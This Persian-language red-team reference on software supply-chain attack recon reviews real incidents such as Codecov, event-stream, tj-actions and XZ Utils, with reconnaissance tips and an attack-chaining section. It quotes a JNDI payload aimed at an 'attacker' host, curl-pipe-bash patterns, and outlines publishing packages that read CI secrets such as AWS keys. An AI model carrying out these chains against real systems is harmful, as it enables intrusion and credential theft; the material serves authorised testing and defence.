  • ‏نکته‌ی recon: زنجیره‌ی supply آبشاری واقعی است — vendorهای vendorهای تارگتت مهم‌اند. وقتی recon «چه نرم‌افزاری روی لپ‌تاپ‌های مهندس این سازمان نصب است» را enumerate می‌کند، هرکدام خودش تارگت supply-chain است. اپ‌های Electron ‏(باندل‌های JS ساین‌شده) وکتورهای به‌خصوص رایجی‌اند.

‏### ۳. بهره‌برداری انبوه MOVEit Transfer ‏(CVE-2023-34362، مه–جولای ۲۰۲۳)

  • ‏فلو: وابسته‌ی ransomware مربوط به Cl0p ‏(FIN11 / Lace Tempest) یک SQLi ناشناس در Progress MOVEit Transfer کشف کرد، وب‌شل LEMURLOOT را دیپلوی کرد و طی پنجره‌ی ~۲هفته‌ای قبل از افتادن پچ در ۳۱ مه ۲۰۲۳ از هر instance اینترنت-قابل‌دسترس فایل استخراج کرد.
  • ‏علت ریشه‌ای: ‏SQLi پیش-احراز در moveitisapi/moveitisapi.dll ← SQL دلخواه ← نوشتن وب‌شل از مسیر معادل xp_cmdshell. بهره‌برداری انبوه کلاسیک تک-CVE؛ حمله‌ی build-pipeline نبود ولی شکست supply-chain مربوط به کد ship‌شده بود.
  • ‏اثر: ~۲٬۷۰۰ سازمان compromise تأییدشده، ~۹۵ میلیون نفر PII لو‌رفته ‏(BBC، Shell، BA، وزارت انرژی آمریکا، Louisiana OMV، Oregon DMV و غیره). ضررهای تخمینی بیش از ۱۵ میلیارد دلار تجمیعی.
  • ‏مراجع:
  • ‏CISA AA23-158A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
  • ‏ادوایزوری Progress: https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
  • ‏Mandiant: https://cloud.google.com/blog/topics/threat-intelligence/zero-day-moveit-data-theft
  • ‏تحلیل فنی Huntress: https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
  • ‏نکته‌ی recon: محصولات file-transfer مربوط به vendor ‏(MOVEit، Accellion FTA، GoAnywhere MFT، Cleo Harmony) الگوی تکرارشونده‌ی «لبه‌ی اینترنت، داده‌ی همه را نگه می‌دارد، روی ویندوز اجرا می‌شود» هستند. همیشه زود در recon با عنوان HTML / هش favicon fingerprint کن؛ یک CVE روی محصول لبه = کل پایه‌ی مشتری.

‏### ۴. compromise مربوط به Codecov bash uploader ‏(آوریل ۲۰۲۱)

  • ‏فلو: مهاجمان از طریق اشتباه credential در فلوی ساخت ایمیج به فرایند build ایمیج Docker مربوط به Codecov دسترسی گرفتند، بعد اسکریپت Bash Uploader ‏(https://codecov.io/bash) را برای استخراج متغیرهای محیطی به IP third-party تغییر دادند. تغییر از ۳۱ ژانویه‌ی ۲۰۲۱ تا ۱ آوریل ۲۰۲۱ ماندگار بود — دو ماه تا تشخیص توسط مشتری‌ای که ناسازگاری SHA-256 را متوجه شد.
  • ‏علت ریشه‌ای: build ایمیج Docker مقدار credentialای لو داد که اجازه‌ی تغییر اسکریپت bash سرو‌شده را می‌داد؛ نبود تأیید یکپارچگی ‏(هش پین‌شده‌ی امضاشده) سمت مشتری.
  • ‏اثر: هر run مربوط به CI در سراسر جهان که برای دو ماه curl -s https://codecov.io/bash | bash را پایپ کرد env varها را استخراج کرد. قربانیان downstream تأییدشده: HashiCorp ‏(کلید GPG را rotate کرد)، Twilio، Rapid7 ‏(افشای جزئی کد منبع)، Mercari، Confluent و Atlassian.
  • ‏مراجع:
  • ‏پست‌مورتم Codecov: https://about.codecov.io/security-update/
  • ‏ادوایزوری HashiCorp: https://discuss.hashicorp.com/t/hcsec-2021-12-codecov-security-event-and-hashicorp-gpg-key-exposure/23512
  • ‏افشای Mercari: https://about.mercari.com/en/press/news/articles/20210521_incidentreport/
  • ‏Rapid7: https://www.rapid7.com/blog/post/2021/05/13/rapid7-discloses-its-response-to-codecov-incident/
  • ‏نکته‌ی recon: الگوهای «curl-bash-install» در workflowهای CI عمومی برای این اسکیل طلاست — در .github/workflows/ برای curl ... | bash، wget ... | sh و iwr ... | iex جست‌وجو کن. هر URL مربوط به third-party که به شل داده می‌شود شعاع انفجار supply-chain است. SHAهای پین‌شده در workflowها تخفیف می‌دهند؛ نبود pinning = یافته.

‏### ۵. ربوده‌شدن ua-parser-js روی npm ‏(اکتبر ۲۰۲۱)

  • ‏فلو: مهاجم اکانت npm مربوط به maintainer را phish/credential-stuff کرد و نسخه‌های 0.7.29، 0.8.0 و 1.0.0 مربوط به ua-parser-js ‏(~۷ میلیون دانلود هفتگی، با ترانزیتیو رسیدن به Facebook، Microsoft، Amazon و IBM) را منتشر کرد. نسخه‌های مخرب هوک preinstall اجرا می‌کردند که کریپتوماینر + دزد پسورد ویندوز ‏(Jason credential stealer) دانلود می‌کرد.
  • ‏علت ریشه‌ای: اکانت npm مربوط به maintainer فاقد 2FA / credential ضعیف بود؛ npm در آن زمان 2FA را برای ناشران باارزش enforce نمی‌کرد.
  • ‏اثر: پکیج‌ها ~۴ ساعت قبل از حذف زنده بودند ولی در آن پنجره ده‌ها هزار نصب رخ داد. CISA هشدار اضطراری صادر کرد — اولین باری که CISA روی compromise مربوط به پکیج npm هشدار داد.
  • ‏مراجع:
  • ‏ادوایزوری GitHub Security: https://github.com/advisories/GHSA-pjwm-rvh2-c87w
  • ‏هشدار CISA: https://www.cisa.gov/news-events/alerts/2021/10/22/malware-discovered-popular-npm-package-ua-parser-js
  • ‏نوت حادثه‌ی maintainer: https://github.com/faisalman/ua-parser-js/issues/536
  • ‏تحلیل Snyk: https://snyk.io/blog/npm-security-malicious-code-found-in-npm-package-ua-parser-js/
  • ‏نکته‌ی recon: ۳۰ maintainer برتر npm/PyPI تارگت را بر اساس تعداد دانلود پکیج شناسایی کن، بعد چک کن آیا اکانت‌هایشان 2FA فعال دارند ‏(npm این را از طریق npm profile get روی اعضای org افشا می‌کند، تا حدی عمومی از API رجیستری). خروجی recon: «این ۴ maintainer پکیج‌هایی با X نصب کنترل می‌کنند و طبق داده‌ی عمومی رجیستری 2FA ندارند».

‏### ۶. پکیج npm مربوط به event-stream ‏(نوامبر ۲۰۱۸)

  • ‏فلو: maintainer اصلی Dominic Tarr ‏(که دیگر از ماژول استفاده نمی‌کرد) پکیج event-stream ‏(~۲ میلیون دانلود هفتگی) را به contributor جدیدی به نام «right9ctrl» سپرد که پیشنهاد نگهداری کرده بود. maintainer جدید flatmap-stream را به‌عنوان وابستگی اضافه کرد، بعد آپدیتی به flatmap-stream پوش کرد حاوی payload هدف‌گیرنده‌ی build مربوط به ولت بیت‌کوین Copay — seedهای ولت BTC/BCH را از هر کاربر Copay دزدید.
  • ‏علت ریشه‌ای: social-engineering مربوط به سپرده‌شدن نگهداری؛ نبود بازبینی روی contributorهای جدیدی که پکیج‌های بحرانی را برمی‌دارند. وابستگی مخرب فقط وقتی event-stream داخل ولت Copay باندل می‌شد فعال می‌شد ‏(هدف‌گیری با context مربوط به build).
  • ‏اثر: کاربران ولت Copay کلیدهایشان را از دست دادند؛ خسارت دقیق دلاری هرگز عمومی افشا نشد. فشار سراسری npm برای 2FA و پالیسی «پکیج‌های محبوب به بازبینی اضافه نیاز دارند» را تریگر کرد.
  • ‏مراجع:
  • ‏ادوایزوری GitHub Security: https://github.com/advisories/GHSA-mh6f-8j2x-4483
  • ‏پست‌مورتم npm: https://github.blog/2018-11-26-npm-package-event-stream/
  • ‏ترد افشای اصلی: https://github.com/dominictarr/event-stream/issues/116
  • ‏نوشته‌ی Snyk: https://snyk.io/blog/a-post-mortem-of-the-malicious-event-stream-backdoor/
  • ‏نکته‌ی recon: برای پکیج‌هایی که تارگت به آن‌ها وابسته است npm view <pkg> maintainers و تغییرات اخیر maintainer را چک کن. تغییر maintainer در ۹۰ روز گذشته روی پکیج +۱۰۰هزار دانلود پرچم زرد است. همچنین: هدف‌گیری-payload-با-context-build ‏(فقط وقتی به اپ خاصی باندل شود آتش می‌گیرد) تشخیصش سخت است — اسکنرهای استاتیک جایش می‌اندازند.

‏### ۷. compromise مربوط به سرور Git مربوط به PHP ‏(مارس ۲۰۲۱)

  • ‏فلو: مهاجمان دو کامیت مخرب به ریپوی رسمی php-src روی git.php.net پوش کردند، ساین‌شده به نام Rasmus Lerdorf و Nikita Popov. کامیت‌ها بک‌دور Zend اضافه می‌کردند که کد را از هدر HTTP مربوط به User-Agentt ‏(t دوتایی) اجرا می‌کرد.
  • ‏علت ریشه‌ای: سرور git خودمیزبان ‏(مبتنی‌بر Gitolite یعنی git.php.net) نقص credential / احراز هویت داشت — احتمالاً پسورد ذخیره‌شده‌ی plaintext در نشت دیتابیس کاربر. تیم PHP بعد از این حادثه به GitHub به‌عنوان منبع کانونیک مهاجرت کرد.
  • ‏اثر: کامیت‌های بک‌دور ظرف ساعت‌ها گرفته شدند، هرگز در ریلیزی ship نشدند. ولی کیس کانونیک «source-of-truth خودمیزبان = نقطه‌ی شکست تکی» است.
  • ‏مراجع:
  • ‏پست‌مورتم PHP.net: https://news-web.php.net/php.internals/113838
  • ‏تحلیل Nikita Popov: https://externals.io/message/113848
  • ‏پوشش ZDNet: https://www.zdnet.com/article/php-internal-git-server-hacked-with-malicious-code-pushed-to-the-php-src-repo/
  • ‏نکته‌ی recon: تارگت‌های با git خودمیزبان ‏(Gitea، Gitolite، Phabricator، Bitbucket Server) ریسک بالاتری از GitHub-hosted دارند. recon باید نرم‌افزار git-server را fingerprint کند، credهای پیش‌فرض را چک کند و pushهای مبتنی‌بر کلید SSH از IPهای غیرمنتظره را زیر نظر داشته باشد ‏(در metadata مربوط به کامیت مرئی است).

‏### ۸. ‏Log4Shell ‏(CVE-2021-44228، دسامبر ۲۰۲۱)

  • ‏فلو: دقیقاً «حمله‌ی» supply-chain نبود ولی رویداد کانونیک «نمی‌دانی چه چیزی در درخت وابستگی‌ات است» بود. فیچر JNDI lookup در Apache Log4j 2.x اجازه‌ی اجرای کد ریموت از طریق ${jndi:ldap://attacker/...} در هر رشته‌ی لاگ‌شده را می‌داد. چون Log4j ترانزیتیو توسط هزاران اپ جاوا کشیده می‌شود، صدها میلیون سیستم آسیب‌پذیر بودند.
  • ‏علت ریشه‌ای: فیچر ناامن-به‌صورت-پیش‌فرض که در ۲۰۱۳ ship شد ‏(جایگزینی MessageLookup)؛ وابستگی ترانزیتیو عمیقاً تودرتو inventory و patching را تقریباً غیرممکن کرد.
  • ‏اثر: «بحرانی‌ترین آسیب‌پذیری یک دهه» به‌قول Jen Easterly مدیر CISA. هر ابری، هر محصول Apache و هر استک enterprise جاوا را درگیر کرد. بهره‌برداری انبوه جاری توسط Conti، باج‌افزار Khonsari و بازیگران دولتی.
  • ‏مراجع:
  • ‏صفحه‌ی CISA روی Log4j: https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a
  • ‏ادوایزوری Apache: https://logging.apache.org/log4j/2.x/security.html
  • ‏تحلیل LunaSec: https://www.lunasec.io/docs/blog/log4j-zero-day/
  • ‏درخت محصولات درگیر GovCERT.ch: https://www.cisa.gov/known-exploited-vulnerabilities-catalog ‏(مدخل KEV)
  • ‏نکته‌ی recon: SBOMها اینجا جواب‌اند. گام ۸ اسکیل ‏(ماینینگ SBOM) نمایش می‌دهد — کشیدن SPDX/CycloneDX از آرتیفکت‌های ریلیز عمومی نسخه‌های دقیق وابستگی ترانزیتیو را می‌دهد که بعد می‌توانی برای CVEهای شناخته‌شده به OSV / NVD نگاشت کنی. بیشتر سازمان‌ها عمق ترانزیتیوشان را دست‌کم می‌گیرند.

‏### ۹. compromise مربوط به اکشن GitHub یعنی tj-actions/changed-files ‏(CVE-2025-30066، مارس ۲۰۲۵)

  • ‏فلو: مهاجم اکشن tj-actions/changed-files را ‏(که ~۲۳٬۰۰۰ ریپو استفاده می‌کردند) compromise کرد و همه‌ی تگ‌های نسخه v1–v45 را به کامیت مخرب تغییر اشاره داد. کد تزریق‌شده printenv را اجرا و secretهای CI را به لاگ‌های GitHub Actions دامپ کرد — برای هر کس با دسترسی read روی ریپوهای عمومی مرئی.
  • ‏علت ریشه‌ای: ارجاع‌های تگ mutable در GitHub Actions — uses: tj-actions/changed-files@v35 در زمان اجرا resolve می‌شود، پس مهاجمی که ریپو را کنترل کند می‌تواند تگ‌های قدیمی را بازاشاره دهد. بیشتر مصرف‌کنندگان به SHA کامیت پین نکرده بودند ‏(@<sha>).
  • ‏اثر: ~۲۳٬۰۰۰ ریپو درگیر؛ CISA به KEV اضافه کرد؛ هزاران secret ‏(کلیدهای AWS، توکن‌های npm، credهای Docker Hub) به لاگ‌های عمومی Action لو رفت. چند حادثه‌ی downstream ‏(Coinbase، Cloudflare و دیگران) به آن ردیابی شد.
  • ‏مراجع:
  • ‏مدخل CISA KEV: https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
  • ‏افشای StepSecurity: https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
  • ‏تحلیل Wiz: https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
  • ‏Semgrep: https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/
  • ‏نکته‌ی recon: این پرمحصول‌ترین وکتور recon فعلی است. ریپوهای عمومی را برای uses: <org>/<repo>@v\d+ ‏(تگ mutable) در برابر uses: <org>/<repo>@<sha> ‏(پین‌شده) grep کن. هر اکشن third-party پین‌نشده = ریسک supply-chain. گام ۶ اسکیل باید استفاده‌ی تگ-mutable را صریحاً فلگ کند.

‏### ۱۰. ‏typosquatهای PyPI ‏(colourama، python3-dateutil، jeIlyfish و غیره)

  • ‏فلو: مهاجمان پکیج‌های PyPI با نام‌های بصری/تایپوگرافیکی مشابه محبوب‌ها ثبت می‌کنند — colourama برای colorama، python3-dateutil برای python-dateutil و jeIlyfish ‏(با I بزرگ به‌جای L) برای jellyfish. هرکدام هوک‌های post-install مربوط به setup.py داشتند که کلیدهای SSH، کلیدهای GPG و توکن‌های GitHub را استخراج می‌کردند یا کریپتو-دزدهایی که ~/.bitcoin/wallet.dat را هدف می‌گرفتند نصب می‌کردند.
  • ‏علت ریشه‌ای: ‏PyPI نام‌های بصری-گمراه‌کننده را می‌پذیرد؛ pip نام‌ها را با تطابق دقیق رشته resolve می‌کند. گیت بازبینی انسانی روی انتشار پکیج جدید نیست.
  • ‏اثر: هر کمپین معمولاً کمتر از ۱۰هزار نصب قبل از حذف، ولی jeIlyfish یک سال زنده ماند ‏(دسامبر ۲۰۱۸ ← دسامبر ۲۰۱۹). تجمیعی: ده‌ها کمپین سالانه توسط Snyk/Phylum/Sonatype/ReversingLabs مستند می‌شود.
  • مراجع:
  • ‏ReversingLabs روی jeIlyfish/python3-dateutil: https://www.reversinglabs.com/blog/mining-for-malicious-ruby-gems
  • ‏تحلیل Snyk روی colourama / pytagora: https://snyk.io/blog/malicious-packages-found-to-be-typo-squatting-in-pypi/
  • ‏گزارش typosquat مربوط به Phylum ۲۰۲۴: https://blog.phylum.io/the-state-of-the-software-supply-chain/
  • ‏گزارش Sonatype ۲۰۲۴ روی وضعیت supply-chain ‏(بیش از ۷۰۰هزار پکیج مخرب یافت‌شده): https://www.sonatype.com/state-of-the-software-supply-chain/
  • ‏نکته‌ی recon: گام ۵ اسکیل ‏(تولید کاندید typosquat) مستقیم اینجا نگاشت می‌شود. برای recon بیرونی، تو کاندیدهای typosquat را لیست می‌کنی — هرگز منتشر نمی‌کنی مگر با مجوز صریح. خروجی قابل‌تحویل: «این ۱۷ واریانت typosquat مربوط به وابستگی‌های برترت فعلاً claim‌نشده‌اند؛ توصیه: دفاعی ثبتشان کن».

‏### ۱۱. افشای dependency-confusion توسط Alex Birsan ‏(فوریه‌ی ۲۰۲۱)

  • ‏فلو: ‏Birsan نام scopeهای داخلی npm را از فایل‌های package.json لو‌رفته ‏(کش عمومی روی archive.org، ریپوهای GitHub تصادفاً-عمومی و باندل‌های JS) برای Apple، Microsoft، PayPal، Shopify، Uber، Tesla، Yelp و ~۳۵ شرکت دیگر استخراج کرد. او پکیج‌هایی روی npm/PyPI/RubyGems عمومی با همان نام‌های داخلی و semver بالاتر منتشر کرد. build system بیشتر شرکت‌ها پکیج عمومی را بر داخلی ترجیح داد و payload تله‌متری-فقط او را اجرا کرد.
  • ‏علت ریشه‌ای: package managerها ‏(npm، pip، gem) به‌صورت پیش‌فرض «بالاترین نسخه می‌برد، فارغ از رجیستری». نام‌های پکیج داخلی به منابع بیرونی لو رفت. enforce مربوط به scope-به-رجیستری نبود.
  • ‏اثر: بیش از ۱۳۰هزار دلار باگ‌بانتی ‏(بیشترین payout شناخته‌شده برای یک محقق در چند برنامه در ۲۰۲۱)؛ کلاس حمله‌ی «dependency confusion» را به‌وجود آورد؛ npm/PyPI/Microsoft Azure Artifacts همه تخفیف صادر کردند.
  • مراجع:
  • ‏نوشته‌ی اصلی Birsan: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
  • ‏وایت‌پیپر مایکروسافت: https://azure.microsoft.com/en-us/resources/3-ways-to-mitigate-risk-using-private-package-feeds/
  • ‏پست‌مورتم GitHub ‏(طرف npm): https://github.blog/2021-02-12-how-to-prevent-dependency-confusion-on-public-package-registries/
  • ‏پژوهش Snyk: https://snyk.io/blog/dependency-confusion-vulnerability-novel-supply-chain-attack/
  • ‏نکته‌ی recon: این استناد بنیان‌گذار برای گام‌های ۳ + ۴ اسکیل است. کشف scope داخلی از طریق باندل‌های JS مسیر recon کانونیک است. به کالیبراسیون شدت Birsan دقت کن: «نام claim‌نشده است» به‌تنهایی در بیشتر تارگت‌ها کافی بود چون buildهایشان npm install را با کانفیگی اجرا می‌کرد که به npm عمومی فرو می‌افتاد — ولی جدول شدت اسکیل درست یادداشت می‌کند که این universal نیست.

‏### ۱۲. ‏XZ Utils ‏(CVE-2024-3094، مارس ۲۰۲۴)

  • ‏فلو: «Jia Tan» ‏(JiaT75) طی ۲+ سال maintainer مربوط به xz-utils ‏(کتابخانه‌ی فشرده‌سازی OSS آپ‌استریم که تقریباً در هر توزیع لینوکس استفاده می‌شود) را social-engineer کرد. بعد از گرفتن وضعیت co-maintainer، بک‌دور چندمرحله‌ای در فرایند build مربوط به liblzma گذاشت — مبهم‌شده به‌عنوان fixture تست — که احراز SSH را از طریق یکپارچگی systemd-notify مربوط به OpenSSH ربود.
  • ‏علت ریشه‌ای: فرسودگی OSS تک-maintainer + صبر درسطح-دولت‌ملی ‏(Operation J / APT مشکوک). بک‌دور قبل از اینکه توزیع‌های بزرگ ship کنند گرفته شد ‏(فقط Fedora Rawhide و Debian unstable کوتاه داشتند) چون Andres Freud تاخیر ۵۰۰میلی‌ثانیه‌ی SSH را حین بنچمارک متوجه شد.
  • ‏اثر: قبل از دیپلوی انبوه گرفته شد، رویداد نزدیک-به-فاجعه. ارزیابی مجدد صنعت‌گستر ریسک «OSS بحرانی تک-maintainer» را تریگر کرد. CISA، NIST و OpenSSF همه پست‌مورتم صادر کردند.
  • مراجع:
  • ‏ادوایزوری CISA: https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094
  • ‏افشای اصلی Andres Freund: https://www.openwall.com/lists/oss-security/2024/03/29/4
  • ‏تایم‌لاین Russ Cox: https://research.swtch.com/xz-timeline
  • ‏تحلیل فنی Sam James: https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
  • ‏نکته‌ی recon: سخت‌ترین کیس برای recon بیرونی — social-engineering مربوط به maintainer طی سال‌ها سیگنال بیرونی کمی می‌گذارد. ولی: تحلیل تاریخچه‌ی کامیت GitHub ‏(contributorهای جدید که روی کتابخانه‌های بحرانی دسترسی commit می‌گیرند، کامیت‌هایی که fixture تست مبهم اضافه می‌کنند، تغییرات فقط-هنگام-ریلیز در build) همان کاری است که Andres Freund عملاً انجام داد. گام ۲ اسکیل ‏(enumerate مربوط به ریپوهای عمومی) می‌تواند به «تماشای اعطای trust بالا به اکانت‌های کم‌سابقه» توسعه یابد.

‏---

‏### نقشه‌ی پوشش: کیس‌ها ← گام‌های اسکیل recon

گام در اسکیلکیس(های) لنگر
گام ۱ — کشف سازمان GitHub‏Birsan ۲۰۲۱، XZ ۲۰۲۴
گام ۲ — ماینینگ آرتیفکت ریپوی عمومی‏Codecov ۲۰۲۱، XZ ۲۰۲۴، PHP ۲۰۲۱
گام ۳ — کشف نام پکیج داخلی‏Birsan ۲۰۲۱
گام ۴ — چک dependency-confusion‏Birsan ۲۰۲۱، ua-parser-js ۲۰۲۱
گام ۵ — کاندیدهای typosquat‏PyPI مربوط به colourama/jeIlyfish، event-stream ۲۰۱۸
گام ۶ — تزریق workflow مربوط به GitHub Actions‏tj-actions/changed-files ۲۰۲۵، Codecov ۲۰۲۱
گام ۷ — ماینینگ رجیستری Docker/کانتینر‏SolarWinds، Codecov ۲۰۲۱
۲۲

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۲۲ از ۲۲

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏اسکیل hunt-rce — dependency confusion به‌صورت RCE روی هر runnerای که پکیج را نصب کند فرود می‌آید؛ runnerهای CI باارزش‌ترین تارگت‌اند. primitive زنجیره: نام پکیج داخلی لو‌رفته در باندل JS عمومی / SBOM / ایمیج Docker ← انتشار پکیج مخرب با همان نام و نسخه‌ی بالاتر روی npm/PyPI عمومی ← npm install / pip install بعدی روی runner مربوط به CI کد مهاجم را در هوک preinstall اجرا می‌کند ← مرحله‌ی post-foothold مربوط به hunt-rce ‏(استخراج env-var کلیدهای AWS، PATهای GitHub و توکن‌های Slack را بیرون می‌دهد) ← تصرف صفحه‌ی CI.
  • ‏اسکیل cloud-iam-deep — runnerهای CI credentialهای IAM دارند؛ ‏RCE مربوط به supply-chain آنجا جشنواره‌ی استخراج credential است. primitive زنجیره: پکیج مخرب روی runner مربوط به GitHub Actions اجرا می‌شود ← $AWS_ACCESS_KEY_ID / $GITHUB_TOKEN را از env می‌خواند ← enumerate مربوط به cloud-iam-deep ← زنجیره‌ی ارتقای IAM-privilege ← دسترسی به صفحه‌ی ابری production.
  • ‏اسکیل offensive-osint — انضباط recon شدیداً هم‌پوشانی دارد؛ SBOMها، باندل‌های JS، enumerate مربوط به سازمان GitHub و تگ‌های رجیستری Docker در هر دو زندگی می‌کنند. primitive زنجیره: recon مربوط به سازمان-GitHub در offensive-osint نام پکیج‌های داخلی ارجاع‌شده در workflowهای CI را بیرون می‌دهد ← supply-chain-attack-recon آن‌ها را با npm/PyPI عمومی برای کاندیدهای typosquat/confusion ارجاع متقابل می‌کند.
  • ‏اسکیل hunt-cloud-misconfig — رجیستری‌های کانتینر ‏(Docker Hub، GHCR، ECR عمومی) مرتب تصادفاً ایمیج‌های خصوصی را افشا می‌کنند. primitive زنجیره: ماینینگ SBOM مقدار internal-tools-v2:latest ارجاع‌شده را لو می‌دهد ← Docker Hub را برای mirror تصادفاً-عمومی چک کن ← enumerate مربوط به رجیستری hunt-cloud-misconfig ← ایمیج را pull کن ← secretهای پخته‌شده در لایه‌ها را استخراج کن.
  • ‏اسکیل‌های triage-validation + redteam-report-template — ‏recon مربوط به supply-chain در اسکوپ است؛ انتشار واقعی EXTERNAL-OFFENSIVE است و به تایید کتبی صریح نیاز دارد. primitive زنجیره: لیست کاندید فقط-recon آماده شد ← عبور از دروازه‌ی ۷-سؤال triage-validation ‏(به‌خصوص: «آیا می‌توانم اثر را بدون انتشار نشان دهم؟») ← گزارش به‌عنوان «فهرست کاندید dependency-confusion + گام‌های بازتولید» با redteam-report-template، هرگز به‌عنوان PoC مربوط به پکیج-منتشرشده مگر اینکه کلاینت کتباً امضا کرده باشد.
مراحل استخراج‌شده
  1. ۱‏اسکیل `cloud-iam-deep` — runnerهای CI credentialهای IAM دارند؛ ‏RCE مربوط به supply-chain آنجا جشنواره‌ی استخراج credential است. primitive زنجیره: پکیج مخرب روی runner مربوط به GitHub Actions اجرا می‌شود ← `$AWS_ACCESS_KEY_ID` / `$GITHUB_TOKEN` را از env می‌خواند ← enumerate مربوط به `cloud-iam-deep` ← زنجیره‌ی ارتقای IAM-privilege ← دسترسی به صفحه‌ی ابری production.
  2. ۲‏اسکیل `hunt-cloud-misconfig` — رجیستری‌های کانتینر ‏(Docker Hub، GHCR، ECR عمومی) مرتب تصادفاً ایمیج‌های خصوصی را افشا می‌کنند. primitive زنجیره: ماینینگ SBOM مقدار `internal-tools-v2:latest` ارجاع‌شده را لو می‌دهد ← Docker Hub را برای mirror تصادفاً-عمومی چک کن ← enumerate مربوط به رجیستری `hunt-cloud-misconfig` ← ایمیج را pull کن ← secretهای پخته‌شده در لایه‌ها را استخراج کن.